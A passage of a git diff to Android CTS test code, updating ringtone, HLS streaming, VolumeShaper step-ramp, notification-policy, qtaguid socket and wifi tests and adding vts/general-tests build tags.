+ } else if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_NORMAL) {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+ AudioManager.FLAG_ALLOW_RINGER_MODES);
+ } else if (!ActivityManager.isLowRamDeviceStatic()) {
+ try {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true);
+ // set ringer to a reasonable volume
+ mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+ AudioManager.FLAG_ALLOW_RINGER_MODES);
+ // make sure that we are not in silent mode
+ mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+ } finally {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), false);
+ }
}
mDefaultRingUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
@@ -88,7 +98,7 @@
if (mRingtone.isPlaying()) mRingtone.stop();
mRingtone.setStreamType(mOriginalStreamType);
}
- if (mAudioManager != null) {
+ if (mAudioManager != null && !ActivityManager.isLowRamDeviceStatic()) {
try {
Utils.toggleNotificationPolicyAccess(
mContext.getPackageName(), getInstrumentation(), true);
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index ab54e75..b981a0b 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -16,6 +16,10 @@
package android.media.cts;
import android.media.BufferingParams;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.media.MediaPlayer;
import android.media.MediaPlayer.TrackInfo;
@@ -239,14 +243,41 @@
return; // skip
}
- // Play stream for 60 seconds
- playLiveVideoTest(
- "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
- "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
- 60 * 1000);
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ for (MediaCodecInfo info : mcl.getCodecInfos()) {
+ if (info.isEncoder()
+ || info.getName().toLowerCase().startsWith("omx.google.")) {
+ continue;
+ }
+ try {
+ CodecCapabilities caps = info.getCapabilitiesForType(MediaFormat.MIMETYPE_VIDEO_AVC);
+ VideoCapabilities vcaps = caps.getVideoCapabilities();
+
+ // Play 1080p stream for 60 seconds if platform supports.
+ if (vcaps.areSizeAndRateSupported(1920 ,1080, 30)) {
+ playLiveVideoTest(
+ "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
+ "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
+ 60 * 1000);
+ }
+ } catch (IllegalArgumentException e) {
+ }
+ }
}
+ public void testHlsSampleAes_bbb_unmuxed_1000k() throws Exception {
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+
+ // Play 480p stream for 60 seconds
+ playLiveVideoTest(
+ "https://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
+ "bbb_480p_30fps/unmuxed_1000k/bbb_h264_main_480p_30fps_1000.m3u8",
+ 60 * 1000);
+ }
+
// Streaming audio from local HTTP server
public void testPlayMp3Stream1() throws Throwable {
localHttpAudioStreamTest("ringer.mp3", false, false);
diff --git a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
index 9f90a75..72ec8a9 100644
--- a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
+++ b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
@@ -62,6 +62,14 @@
}
@Override
+ public void onDestroy() {
+ super.onDestroy();
+ sSession.release();
+ sInstance = null;
+ sSession = null;
+ }
+
+ @Override
public BrowserRoot onGetRoot(String clientPackageName, int clientUid, Bundle rootHints) {
mExtras = new Bundle();
mExtras.putString(EXTRAS_KEY, EXTRAS_VALUE);
diff --git a/tests/tests/media/src/android/media/cts/Utils.java b/tests/tests/media/src/android/media/cts/Utils.java
index 33cc1b7..211aa4e 100644
--- a/tests/tests/media/src/android/media/cts/Utils.java
+++ b/tests/tests/media/src/android/media/cts/Utils.java
@@ -17,6 +17,7 @@
package android.media.cts;
import android.app.Instrumentation;
+import android.app.NotificationManager;
import android.app.UiAutomation;
import android.content.ContentResolver;
import android.content.Context;
@@ -88,57 +89,10 @@
protected static void toggleNotificationPolicyAccess(String packageName,
Instrumentation instrumentation, boolean on) throws IOException {
- // Read the setting listing the package allowed to manage notification policy configuration
- String alreadyEnabledServices = querryNotificationPolicyAccessPakages(instrumentation);
-
- // The property is a list of : separated package
- List<String> enabledServices = Lists.newArrayList(alreadyEnabledServices.split(":"));
-
- // Actually add or remove the package from the list
- if (on) {
- // Only add the package if it is not already in the list
- if (!enabledServices.contains(packageName)) {
- enabledServices.add(packageName);
- setNotificationPolicyAccessPackages(enabledServices, instrumentation);
- }
- } else {
- // Remove all instance of the package in the list
- if (enabledServices.removeIf(packageName::equals)) {
- // Only update the settings if there was a change
- setNotificationPolicyAccessPackages(enabledServices, instrumentation);
- }
- }
- }
-
- /** Read the setting listing the package allowed to manage notification policy configuration */
- private static String querryNotificationPolicyAccessPakages(Instrumentation instrumentation) {
- ContentResolver cr = instrumentation.getContext().getContentResolver();
- String enabledService = Settings.Secure.getString(
- cr,Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
-
- // A non existing property is equivalent to no package listed
- if (enabledService == null) {
- enabledService = "";
- }
- return enabledService;
- }
-
- private static void setNotificationPolicyAccessPackages(final List<String> enabledServicesList,
- final Instrumentation instrumentation) throws IOException {
- // Format the list back to a string
- String enabledServices = String.join(":", enabledServicesList);
-
- // If the list is empty, remove the property by setting it to null
- String enabledServicesStrOrNull = enabledServices.isEmpty() ? "null" : enabledServices;
-
- // Write back the property to the settings database
- String command = "settings --user cur put secure "
- + Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES + " "
- + enabledServicesStrOrNull;
+ String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
// Get permission to enable accessibility
UiAutomation uiAutomation = instrumentation.getUiAutomation();
-
// Execute command
try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
Assert.assertNotNull("Failed to execute shell command: " + command, fd);
@@ -153,11 +107,10 @@
uiAutomation.destroy();
}
- // Read the settings again to make sure it is updated
- String nowEnabledServices = querryNotificationPolicyAccessPakages(instrumentation);
- Assert.assertEquals("Wrote setting should be the same as the read one",
- enabledServices, nowEnabledServices);
-
+ NotificationManager nm = (NotificationManager) instrumentation.getContext()
+ .getSystemService(Context.NOTIFICATION_SERVICE);
+ Assert.assertEquals("Wrote setting should be the same as the read one", on,
+ nm.isNotificationPolicyAccessGranted());
}
/**
diff --git a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
index 8c8c114..30f07e2 100644
--- a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
+++ b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
@@ -115,6 +115,15 @@
.setDuration(RAMP_TIME_MS)
.build();
+ // a step ramp is not continuous, so we have a different test for it.
+ private static final VolumeShaper.Configuration STEP_RAMP =
+ new VolumeShaper.Configuration.Builder()
+ .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_STEP)
+ .setCurve(new float[] { 0.f, 1.f } /* times */,
+ new float[] { 0.f, 1.f } /* volumes */)
+ .setDuration(RAMP_TIME_MS)
+ .build();
+
private static final VolumeShaper.Configuration[] ALL_STANDARD_RAMPS = {
LINEAR_RAMP,
CUBIC_RAMP,
@@ -877,6 +886,132 @@
} // testPlayerCubicMonotonic
@LargeTest
+ public void testPlayerStepRamp() throws Exception {
+ final String TEST_NAME = "testPlayerStepRamp";
+ if (!hasAudioOutput()) {
+ Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+ + "audio output HAL");
+ return;
+ }
+
+ // We test that the step ramp persists on value until the next control point.
+ // The STEP_RAMP has only 2 control points (at time 0.f and at 1.f).
+ // It should suddenly jump to full volume at 1.f (full duration).
+ // Note: invertVolumes() and reflectTimes() are not symmetric for STEP interpolation;
+ // however, VolumeShaper.Operation.REVERSE will behave symmetrically.
+ for (int p = 0; p < PLAYER_TYPES; ++p) {
+ try ( Player player = createPlayer(p);
+ VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
+ ) {
+ final String testName = TEST_NAME + " " + player.name();
+ volumeShaper.apply(VolumeShaper.Operation.PLAY);
+ player.start();
+ Thread.sleep(WARMUP_TIME_MS);
+
+ final VolumeShaper.Configuration configuration = STEP_RAMP;
+ Log.d(TAG, testName + " starting test (sudden jump to full after "
+ + RAMP_TIME_MS + " milliseconds)");
+
+ volumeShaper.replace(configuration,
+ VolumeShaper.Operation.PLAY, true /* join */);
+
+ Thread.sleep(RAMP_TIME_MS / 2);
+ float lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 0.f, but is " + lastVolume,
+ 0.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ Log.d(TAG, "invert (sudden jump to silence after "
+ + RAMP_TIME_MS + " milliseconds)");
+ // invert
+ VolumeShaper.Configuration newConfiguration =
+ new VolumeShaper.Configuration.Builder(configuration)
+ .invertVolumes()
+ .build();
+ volumeShaper.replace(newConfiguration,
+ VolumeShaper.Operation.PLAY, true /* join */);
+
+ Thread.sleep(RAMP_TIME_MS / 2);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 0.f, but is " + lastVolume,
+ 0.f, lastVolume, VOLUME_TOLERANCE);
+
+ // invert + reflect
+ Log.d(TAG, "invert and reflect (sudden jump to full after "
+ + RAMP_TIME_MS + " milliseconds)");
+ newConfiguration =
+ new VolumeShaper.Configuration.Builder(configuration)
+ .invertVolumes()
+ .reflectTimes()
+ .build();
+ volumeShaper.replace(newConfiguration,
+ VolumeShaper.Operation.PLAY, true /* join */);
+
+ Thread.sleep(RAMP_TIME_MS / 2);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 0.f, but is " + lastVolume,
+ 0.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ // reflect
+ Log.d(TAG, "reflect (sudden jump to silence after "
+ + RAMP_TIME_MS + " milliseconds)");
+ newConfiguration =
+ new VolumeShaper.Configuration.Builder(configuration)
+ .reflectTimes()
+ .build();
+ volumeShaper.replace(newConfiguration,
+ VolumeShaper.Operation.PLAY, true /* join */);
+
+ Thread.sleep(RAMP_TIME_MS / 2);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 0.f, but is " + lastVolume,
+ 0.f, lastVolume, VOLUME_TOLERANCE);
+
+ Log.d(TAG, "reverse (immediate jump to full)");
+ volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+ Thread.sleep(RAMP_TIME_MS / 2);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+ }
+ }
+ } // testPlayerStepRamp
+
+ @LargeTest
public void testPlayerTwoShapers() throws Exception {
final String TEST_NAME = "testPlayerTwoShapers";
if (!hasAudioOutput()) {
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index 34bc778..0213c00 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
diff --git a/tests/tests/mediastress/AndroidTest.xml b/tests/tests/mediastress/AndroidTest.xml
index aedab9a..6cc1dd4 100644
--- a/tests/tests/mediastress/AndroidTest.xml
+++ b/tests/tests/mediastress/AndroidTest.xml
@@ -28,6 +28,7 @@
<option name="package" value="android.mediastress.cts" />
<!-- test-timeout unit is ms, value = 30 min -->
<option name="test-timeout" value="1800000" />
+ <option name="ajur-max-shard" value="2" />
<option name="runtime-hint" value="3h" />
</test>
</configuration>
diff --git a/tests/tests/mediastress/jni/Android.mk b/tests/tests/mediastress/jni/Android.mk
index 164e302..6756bc3 100644
--- a/tests/tests/mediastress/jni/Android.mk
+++ b/tests/tests/mediastress/jni/Android.mk
@@ -29,4 +29,6 @@
LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libOpenMAXAL
LOCAL_CXX_STL := libc++_static
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/midi/Android.mk b/tests/tests/midi/Android.mk
index eeda8c8..cefe3cc 100755
--- a/tests/tests/midi/Android.mk
+++ b/tests/tests/midi/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
index 67db1f5..992b5fe 100644
--- a/tests/tests/multiuser/Android.mk
+++ b/tests/tests/multiuser/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/nativehardware/Android.mk b/tests/tests/nativehardware/Android.mk
index a001387..38688be 100644
--- a/tests/tests/nativehardware/Android.mk
+++ b/tests/tests/nativehardware/Android.mk
@@ -71,7 +71,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
diff --git a/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java b/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
index 94b25fb..aa6275f 100644
--- a/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
@@ -19,11 +19,14 @@
import android.content.pm.PackageManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Check AHardwareBuffer functionality.
*
* This is the place to implement AHardwareBuffer NDK CTS tests.
*/
+@CddTest(requirement="7.9.2/C-1-10")
public class AHardwareBufferNativeTest extends AndroidTestCase {
protected native long nativeSetUp();
protected native void nativeTearDown(long instance);
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index d69f66e..2f64131 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -41,7 +41,7 @@
LOCAL_CTS_TEST_PACKAGE := android.nativemedia.aaudio
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CFLAGS := -Werror -Wall
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
index 4c09ca4..7030d0c 100644
--- a/tests/tests/nativemedia/aaudio/AndroidTest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -23,6 +23,8 @@
<test class="com.android.tradefed.testtype.GTest" >
<option name="native-test-device-path" value="/data/local/tmp" />
<option name="module-name" value="CtsNativeMediaAAudioTestCases" />
- <option name="runtime-hint" value="1m" />
+ <option name="runtime-hint" value="2m" />
+ <!-- test-timeout unit is ms, value = 2 min -->
+ <option name="native-test-timeout" value="120000" />
</test>
</configuration>
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
index 6e6dc2f..fd67644 100644
--- a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
@@ -76,10 +76,6 @@
// AAUDIO_POLICY_ALWAYS is only for testing during development.
// It forces MMAP mode for all streams, which will fail for some stream settings.
EXPECT_NE(AAUDIO_POLICY_ALWAYS, policy);
-
- // TODO This part should be removed in OC-MR1 or later.
- // MMAP should not be enabled before OC-MR1
- EXPECT_NE(AAUDIO_POLICY_AUTO, policy);
}
// Link to test functions in shared library.
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
index 2c50cd7..7d0edeb 100644
--- a/tests/tests/nativemedia/sl/Android.mk
+++ b/tests/tests/nativemedia/sl/Android.mk
@@ -42,7 +42,7 @@
LOCAL_CTS_TEST_PACKAGE := android.nativemedia.sl
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CFLAGS := -Werror -Wall
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
index 8ea1062..c11c10e 100644
--- a/tests/tests/nativemedia/xa/Android.mk
+++ b/tests/tests/nativemedia/xa/Android.mk
@@ -41,6 +41,6 @@
LOCAL_CTS_TEST_PACKAGE := android.nativemedia.xa
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index bd60a1a..c355fa0 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index 98cde9b..4aeab38 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -47,7 +47,7 @@
#LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/net/appForApi23/Android.mk b/tests/tests/net/appForApi23/Android.mk
index f0d3535..54b60a0 100644
--- a/tests/tests/net/appForApi23/Android.mk
+++ b/tests/tests/net/appForApi23/Android.mk
@@ -31,7 +31,7 @@
LOCAL_SDK_VERSION := 23
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/net/jni/Android.mk b/tests/tests/net/jni/Android.mk
index 0ec8d28..887e95e 100644
--- a/tests/tests/net/jni/Android.mk
+++ b/tests/tests/net/jni/Android.mk
@@ -27,6 +27,9 @@
LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
LOCAL_CXX_STL := libc++_static
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
include $(CLEAR_VARS)
diff --git a/tests/tests/net/native/Android.mk b/tests/tests/net/native/Android.mk
index 8338432..b798d87 100644
--- a/tests/tests/net/native/Android.mk
+++ b/tests/tests/net/native/Android.mk
@@ -1,2 +1,15 @@
-include $(call all-subdir-makefiles)
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/net/native/qtaguid/Android.mk b/tests/tests/net/native/qtaguid/Android.mk
index 4f5bf9f..6c92b5c 100644
--- a/tests/tests/net/native/qtaguid/Android.mk
+++ b/tests/tests/net/native/qtaguid/Android.mk
@@ -16,15 +16,8 @@
LOCAL_PATH:= $(call my-dir)
-test_executable := CtsNativeNetTestCases
-list_executable := $(test_executable)_list
-
include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-
-LOCAL_MODULE := $(test_executable)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE := CtsNativeNetTestCases
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -33,9 +26,6 @@
LOCAL_SRC_FILES := \
src/NativeQtaguidTest.cpp
-LOCAL_C_INCLUDES := \
- external/gtest/include \
-
LOCAL_SHARED_LIBRARIES := \
libutils \
liblog \
@@ -45,27 +35,9 @@
libgtest
LOCAL_CTS_TEST_PACKAGE := android.net.native
-
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CFLAGS := -Werror -Wall
include $(BUILD_CTS_EXECUTABLE)
-
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(list_executable)
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- src/NativeQtaguidTest.cpp
-
-LOCAL_CFLAGS := \
- -DBUILD_ONLY \
-
-LOCAL_SHARED_LIBRARIES := \
- liblog \
-
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
index 0301c81..9009c24 100644
--- a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
+++ b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
@@ -17,16 +17,12 @@
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
-#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
+
#include <gtest/gtest.h>
-
-#if !defined(BUILD_ONLY)
#include <cutils/qtaguid.h>
-#endif
-#if !defined(BUILD_ONLY)
int getCtrlSkInfo(int tag, uid_t uid, uint64_t* sk_addr, int* ref_cnt) {
FILE *fp;
fp = fopen("/proc/net/xt_qtaguid/ctrl", "r");
@@ -69,12 +65,35 @@
EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
EXPECT_EQ(expect_addr, sk_addr);
- EXPECT_EQ(0, qtaguid_untagSocket(sockfd));
+ close(sockfd);
EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
}
-#else
-void checkNoSocketPointerLeaks(int family) {}
-#endif
+
+TEST (NativeQtaguidTest, close_socket_without_untag) {
+ int sockfd = socket(AF_INET, SOCK_STREAM, 0);
+ uid_t uid = getuid();
+ int tag = arc4random();
+ int ref_cnt;
+ uint64_t dummy_sk;
+ EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+ EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+ EXPECT_EQ(2, ref_cnt);
+ close(sockfd);
+ EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+}
+
+TEST (NativeQtaguidTest, close_socket_without_untag_ipv6) {
+ int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
+ uid_t uid = getuid();
+ int tag = arc4random();
+ int ref_cnt;
+ uint64_t dummy_sk;
+ EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+ EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+ EXPECT_EQ(2, ref_cnt);
+ close(sockfd);
+ EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &dummy_sk, &ref_cnt));
+}
TEST (NativeQtaguidTest, no_socket_addr_leak) {
checkNoSocketPointerLeaks(AF_INET);
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 9f54c8e..c885942 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -37,6 +37,7 @@
import android.net.NetworkInfo.State;
import android.net.NetworkRequest;
import android.net.wifi.WifiManager;
+import android.os.Looper;
import android.os.SystemProperties;
import android.system.Os;
import android.system.OsConstants;
@@ -110,6 +111,7 @@
@Override
protected void setUp() throws Exception {
super.setUp();
+ Looper.prepare();
mContext = getContext();
mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
@@ -279,11 +281,10 @@
}
private boolean isSupported(int networkType) {
- // Change-Id I02eb5f22737720095f646f8db5c87fd66da129d6 added VPN support
- // to all devices directly in software, independent of any external
- // configuration.
return mNetworks.containsKey(networkType) ||
- (networkType == ConnectivityManager.TYPE_VPN);
+ (networkType == ConnectivityManager.TYPE_VPN) ||
+ (networkType == ConnectivityManager.TYPE_ETHERNET &&
+ mContext.getSystemService(Context.ETHERNET_SERVICE) != null);
}
public void testIsNetworkSupported() {
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index b2d912e..89daca2 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -77,6 +77,10 @@
private static final String SSID2 = "\"WifiManagerTestModified\"";
private static final String PROXY_TEST_SSID = "SomeProxyAp";
private static final String ADD_NETWORK_EXCEPTION_SUBSTR = "addNetwork";
+ // A full single scan duration is about 6-7 seconds if country code is set
+ // to US. If country code is set to world mode (00), we would expect a scan
+ // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
+ private static final int SCAN_TIMEOUT_MSEC = 9000;
private static final int TIMEOUT_MSEC = 6000;
private static final int WAIT_MSEC = 60;
private static final int DURATION = 10000;
@@ -202,7 +206,7 @@
mMySync.expectedState = STATE_SCANNING;
mScanResults = null;
assertTrue(mWifiManager.startScan());
- long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
+ long timeout = System.currentTimeMillis() + SCAN_TIMEOUT_MSEC;
while (System.currentTimeMillis() < timeout && mMySync.expectedState == STATE_SCANNING)
mMySync.wait(WAIT_MSEC);
}
@@ -816,7 +820,11 @@
* Note: Location mode must be enabled for this test.
*/
public void testStartLocalOnlyHotspotSuccess() {
- // first check that softap mode is supported by the device
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ // check that softap mode is supported by the device
if (!mWifiManager.isPortableHotspotSupported()) {
return;
}
@@ -841,7 +849,11 @@
* Note: Location mode must be enabled for this test.
*/
public void testSetWifiEnabledByAppDoesNotStopHotspot() {
- // first check that softap mode is supported by the device
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ // check that softap mode is supported by the device
if (!mWifiManager.isPortableHotspotSupported()) {
return;
}
@@ -865,7 +877,11 @@
* Note: Location mode must be enabled for this test.
*/
public void testStartLocalOnlyHotspotSingleRequestByApps() {
- // first check that softap mode is supported by the device
